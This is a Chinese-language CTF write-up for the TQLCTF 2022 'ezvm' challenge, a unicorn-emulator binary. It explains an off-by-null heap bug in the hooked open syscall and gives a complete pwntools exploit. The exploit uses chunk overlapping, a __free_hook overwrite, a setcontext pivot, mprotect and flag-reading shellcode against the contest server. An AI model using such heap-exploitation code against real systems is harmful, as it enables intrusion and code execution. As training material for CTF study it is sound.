TQLCTF2022-ezvm-WP

Posted on Feb 21, 2022

上周末参加了奇安信和 Redbud 一起组织的 TQLCTF,pwn 题的质量挺高,都挺有意思的,我在比赛期间尝试做了 unbelievable_write,ezvm 和 trivm-string 三道题,做出两题。其中 unbelievable_write 是一个传统的堆题,free 掉 tcache_prethread_struct 然后 add 即可控制该结构体实现任意地址分配,分配到 free@got 处修改为别的函数即可避免 free 非法堆块导致报错,然后再分配到 target 处覆写即可获得 flag。很简单,就不写 wp 了。然后 trivm-string 这题,三进制平衡虚拟机,确实很有意思,逆向队友帮忙写了一个反汇编器,可惜分析的稍微有点问题。本来的思路是还原栈帧并理清输入流程找到溢出点,但是由于反汇编错误丢失一些 label,看了一会儿还是放弃了。之后准备学习一下反汇编器开发的技巧,再看看能不能写个该虚拟机的反汇编器。

ezvm 这道题是个 unicorn 的利用,在比赛中碰到过两次 unicorn 的利用,上一次是 TCTF 的 uc 系列题,当时比赛的时候好像有别的什么事就摸鱼了,赛后复现了一下,写成的 wp 是TCTF2021-uc_masteeer-WP这篇文章,当时算是入了个门,也可以参考本文了解一下 unicorn 的基本概念。这次比赛又碰到了就做了一下。这道题也算是个入门题,说到底来就是个普通堆利用。从碰到的 unicorn pwn 题来看都是加了个外部功能比如 hook 一个系统调用,然后在这个新功能里面有个洞然后要选手利用,其实就和现在比赛中常见的 kernel module pwn 差不多,不过 unicorn 环境下的 pwn 其实和用户态 pwn 差不多,只是一个宿主机一个客户机可能稍微有点绕,然后就是要手写汇编可能稍微麻烦一点(也可能可以编译生成 payload,不过这里我还是倾向于自己手写,更有安全感)。

首先拿到 binary,拖到 IDA 里面,会发现调用 uc 相关的函数时原先的枚举量都变成了数字,IDA 提供了数字转枚举转宏的功能,也提供了自动 parse 头文件生成枚举和宏的功能,首先从 unicorn 的 GitHub release 页面获取源码,取出其中的头文件,我们需要用的相关定义主要在 unicorn.hx86.h 中,使用 IDA 进行 parse 后,在 local type 中将 parse 出来的定义导入数据库,对着数字按 m 即可转为对应的枚举

设置枚举

全部转完之后就会好分析很多,然后我们来分析流程,很容易发现 hook 的系统调用提供了四种功能

  • eax = 0,read,read 一段宿主机文件的内容并拷贝到客户机内存
  • eax = 1,write,拷贝一段客户机内存并 write 到宿主机文件
  • eax = 2,open,打开一个宿主机文件,需要注意的是默认开启宿主机的 stdin,stdout,stderr 三个文件,剩下的文件开启关闭都是程序自己虚拟出来的
  • eax = 3,close,关闭一个宿主机文件

刚才也说了,宿主机文件是虚拟的,什么意思呢,以 read 操作为例,可以看到实际调用时是这样实现的

__int64 __fastcall sub_18FE(int a1, __int64 a2, __int64 a3)
{
  int i; // [rsp+2Ch] [rbp-4h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( *((_QWORD *)&unk_5020 + 9 * i) == a1 )
      return ((__int64 (__fastcall *)(char *, __int64, __int64))funcs_1999[9 * i])((char *)&unk_5020 + 72 * i, a2, a3);
  }
  return 0xFFFFFFFFLL;
}

这明显是一个类似于虚表的调用方式,通过一些简单的猜测,我们可以还原出 unk_5020 开始的这一段内存里面存储的结构体结构

struct file
{
  __int64 fd;
  char file_name[24];
  __int64 buf;
  __int64 buf_size;
  void *read;
  void *write;
  void *close;
};

观察 open 操作

__int64 __fastcall do_host_open(const char *file_name, unsigned __int64 buf_size)
{
  unsigned __int64 size; // [rsp+0h] [rbp-20h]
  int i; // [rsp+14h] [rbp-Ch]
  int j; // [rsp+14h] [rbp-Ch]
  struct file *v6; // [rsp+18h] [rbp-8h]

  size = buf_size;
  for ( i = 0; i <= 15; ++i )
  {
    if ( !strcmp(files[i].file_name, file_name) )
      return files[i].fd;
  }
  if ( total_files > 15 )
    return 0xFFFFFFFFLL;
  if ( buf_size > 0x400 )
    size = 0x400LL;
  for ( j = 0; j <= 15 && files[j].file_name[0]; ++j )
    ;
  v6 = &files[j];
  v6->buf = (__int64)malloc(size);
  strcpy(v6->file_name, file_name);
  v6->read = file_read;
  v6->write = file_write;
  v6->close = file_close;
  v6->fd = j;
  ++total_files;
  v6->buf_size = size;
  return v6->fd;
}

分析虚表指针指向的函数就可以理解是如何实现客户机的 read write close 了。审计这个函数也可以发现主要的漏洞点,也就是 strcpy 处 off-by-null,会覆写 file->buf 的最低一位,由此可以实现 chunkoverlapping,之后打 __free_hook,通过 setcontext 栈迁移执行 mprotect ret2shell code 后 orw 即可获取 flag。

另外还有一个洞就是通过多次 close 一个文件后多次 open 文件可以实现数组越界修改 stderr 指针,但是这里似乎无法通过这种方式完成利用。

比较麻烦的地方在于堆环境比较乱,但是还比较稳定,所以多调试一下就可以完成堆风水。

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = "debug"
context.terminal = ["tmux", "splitw", "-h"]
context.arch = "i386"

#sh = process("./easyvm")
sh = remote("120.24.82.252", 49790)

"""
main_arena 0x1ebb70
offset to __free_hook +0x2938
offset to __realloc_hook +0x2978
__free_hook 0x1eeb28
__realloc_hook 0x1ebb68
0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
heap offset 0x9D0
setcontext 0x580DD
mprotect 0x11bb00
"""

code = """
    mov edi, 0x401000;
    mov esi, 0x80;
    mov eax, 2;
    syscall;

    mov edi, 0x401020;
    mov esi, 0x400;
    mov eax, 2;
    syscall;

    mov edi, 0x401010;
    mov esi, 0x80;
    mov eax, 2;
    syscall;

    mov edi, 0x401060;
    mov esi, 0x400;
    mov eax, 2;
    syscall;

    mov edi, 0x3;
    mov edx, 8;
    mov esi, 0x4010F0;
    mov eax, 0;
    syscall;

    mov edi, 5;
    mov eax, 3;
    syscall;

    mov edi, 3;
    mov eax, 3;
    syscall;

    mov edi, 0x4;
    mov edx, 8;
    mov esi, 0x4010F8;
    mov eax, 0;
    syscall;

    mov eax, 0x4010F0;
    mov ebx, [eax];
    sub ebx, 0x688;
    mov [eax], ebx;

    mov edi, 4;
    mov edx, 8;
    mov esi, 0x4010F0;
    mov eax, 1;
    syscall;

    mov edi, 0x401040;
    mov esi, 0x80;
    mov eax, 2;
    syscall;

    mov edi, 0x401050;
    mov esi, 0x80;
    mov eax, 2;
    syscall;
"""

code += """
    mov eax, 0x4010F0;
    mov ebx, [eax];
    sub ebx, 0x1ebb68;
    mov [eax], ebx;

    mov eax, 0x4010F8;
    mov ebx, [eax];
    add ebx, 0x90;
    mov [eax], ebx;
"""

# set the context or so here
code += """
    mov ebx, 0x401200;
    mov eax, 0x4010F0;
    mov ecx, [eax];
    add ecx, 0x154930;
    mov [ebx], ecx;
    mov ecx, [eax + 4];
    mov [ebx + 4], ecx;

    mov ebx, 0x401208;
    mov eax, 0x4010F8;
    mov ecx, [eax];
    mov [ebx], ecx;
    mov ecx, [eax + 4];
    mov [ebx + 4], ecx;

    mov ebx, 0x401220;
    mov eax, 0x4010F0;
    mov ecx, [eax];
    add ecx, 0x580DD;
    mov [ebx], ecx;
    mov ecx, [eax + 4];
    mov [ebx + 4], ecx;

    mov ebx, 0x4012A0;
    mov eax, 0x4010F8;
    mov ecx, [eax]
    add ecx, 0x30;
    mov [ebx], ecx;
    mov ecx, [eax + 4];
    mov [ebx + 4], ecx;

    mov ebx, 0x401268;
    mov eax, 0x4010F8;
    mov ecx, [eax]
    sub ecx, 0xf30;
    mov [ebx], ecx;
    mov ecx, [eax + 4];
    mov [ebx + 4], ecx;

    mov ebx, 0x401270;
    mov ecx, 0x2000;
    mov [ebx], ecx;
    mov ecx, 0;
    mov [ebx + 4], ecx;

    mov ebx, 0x401288;
    mov ecx, 0x7;
    mov [ebx], ecx;
    mov ecx, 0;
    mov [ebx + 4], ecx;

    mov ebx, 0x4012A8;
    mov eax, 0x4010F0;
    mov ecx, [eax];
    add ecx, 0x11bb00;
    mov [ebx], ecx;
    mov ecx, [eax + 4];
    mov [ebx + 4], ecx;

    mov ebx, 0x401230;
    mov eax, 0x4010F8;
    mov ecx, [eax];
    add ecx, 0x100;
    mov [ebx], ecx;
    mov ecx, [eax + 4];
    mov [ebx + 4], ecx;

    mov ecx, 0x100;
    mov edi, 0x401300;
    mov esi, 0x402000;
    rep movs byte ptr [edi], [esi];
"""

code += """
    mov edi, 6;
    mov edx, 0x3F8;
    mov esi, 0x401200;
    mov eax, 1;
    syscall;
"""

# set the magic gadget
code += """
    mov eax, 0x4010F0;
    mov ebx, [eax];
    add ebx, 0x154930;
    mov [eax], ebx;  

    mov edi, 5;
    mov edx, 0x8;
    mov esi, 0x4010F0;
    mov eax, 1;
    syscall;
"""

# trigger the gadget
code += """
    mov edi, 6;
    mov edx, 0x3F9;
    mov esi, 0x401200;
    mov eax, 1;
    syscall;
"""

code += """
    mov edi, 1;
    mov edx, 0x10;
    mov esi, 0x4010F0;
    mov eax, 1;
    syscall;
"""

#shellcode = asm("    /* execve(path='/bin/sh', argv=0, envp=0) */\n    /* push '/bin/sh\\x00' */\n    mov rax, 0x101010101010101\n    push rax\n    mov rax, 0x101010101010101 ^ 0x68732f6e69622f\n    xor [rsp], rax\n    mov rdi, 0\n    mov rsi, rsp /* 0 */\n    xor edx, edx /* 0 */\n    xor r10, r10\n    /* call execve() */\n    push 322\n    pop rax\n    syscall\n")
#shellcode = asm(shellcraft.open('./flag')) + asm('sub rsp, 0x100') + asm(shellcraft.read(3, 'rsp', 0x100)) + asm(shellcraft.write(1, 'rsp', 0x100))

shellcode = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8/.gm`f\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x05H\x81\xec\x00\x01\x00\x001\xc0j\x03_1\xd2\xb6\x01H\x89\xe6\x0f\x05j\x01_1\xd2\xb6\x01H\x89\xe6j\x01X\x0f\x05'

payload = asm(code)
payload = payload.ljust(0x1000, '\x00')
payload += '/file1'.ljust(0x10, '\x00') # fd = 3, 0x401000
payload += '/file2'.ljust(0x10, '\x00') # fd = 5, 0x401010
payload += 'a'.ljust(0x20, 'a') # fd = 4, 0x401020
payload += '/file3'.ljust(0x10, '\x00') # fd = 4, 0x401040
payload += '/file4'.ljust(0x10, '\x00') # fd = 5, 0x401050
payload += '/file5'.ljust(0x10, '\x00') # fd = , 0x401060
payload += '/file6'.ljust(0x10, '\x00') # fd = , 0x401070
payload += '/file7'.ljust(0x10, '\x00') # fd = , 0x401080
payload += '/bin/sh'.ljust(0x10, '\x00') # fd = , 0x401090
payload = payload.ljust(0x2000, '\x00')
payload += shellcode

#gdb.attach(sh, gdbscript = "b * 0x7ffff736c1ee")
sh.sendafter("code:", payload.ljust(0x4000, '\x00'))

sh.interactive()

exp 写的比较乱,仅供参考。